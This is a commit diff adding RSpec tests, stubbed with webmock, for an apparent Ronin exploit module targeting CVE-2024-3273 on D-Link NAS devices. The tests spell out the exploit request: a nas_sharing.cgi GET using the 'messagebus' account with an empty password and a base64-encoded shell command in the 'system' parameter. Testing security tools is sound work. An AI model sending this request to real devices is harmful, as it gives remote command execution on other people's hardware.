Added specs for CVE_2024_3273#launch.

Gemfile

@@ -10,6 +10,7 @@ group :development do
   gem 'rake', require: false
 
   gem 'rspec',     '~> 3.0', require: false
+  gem 'webmock',   '~> 3.0', require: false
   gem 'simplecov', '~> 0.20'
 
   gem 'redcarpet', platform: :mri

spec/exploits/d-link/CVE-2024-3273_spec.rb

@@ -1,6 +1,50 @@
 require 'spec_helper'
 require './exploits/d-link/CVE-2024-3273'
 
+require 'webmock/rspec'
+
 describe Ronin::Exploits::CVE_2024_3273 do
-  it "#launch"
+  let(:base_url) { 'https://example.com' }
+  let(:payload)  { "echo test" }
+
+  subject do
+    described_class.new(
+      params:  {base_url: base_url},
+      payload: payload
+    )
+  end
+
+  describe "#launch" do
+    let(:base64_command) { payload.base64_encode(mode: :url_safe) }
+
+    it "must send a HTTP GET request for '/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=BASE64_ENCODED_COMMAND'" do
+      stub_request(:get, "#{base_url}/cgi-bin/nas_sharing.cgi").with(query: {
+        user:   'messagebus',
+        passwd: '',
+        cmd:    '15',
+        system: base64_command
+      })
+
+      subject.launch
+    end
+
+    context "when the HTTP response status is not 200" do
+      let(:status) { 404 }
+
+      before do
+        stub_request(:get, "#{base_url}/cgi-bin/nas_sharing.cgi").with(query: {
+          user:   'messagebus',
+          passwd: '',
+          cmd:    '15',
+          system: payload.base64_encode(mode: :url_safe)
+        }).to_return(status: status)
+      end
+
+      it do
+        expect {
+          subject.launch
+        }.to raise_error(Ronin::Exploits::ExploitFailed,"GET #{base_url}/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=#{base64_command} returned HTTP #{status}")
+      end
+    end
+  end
 end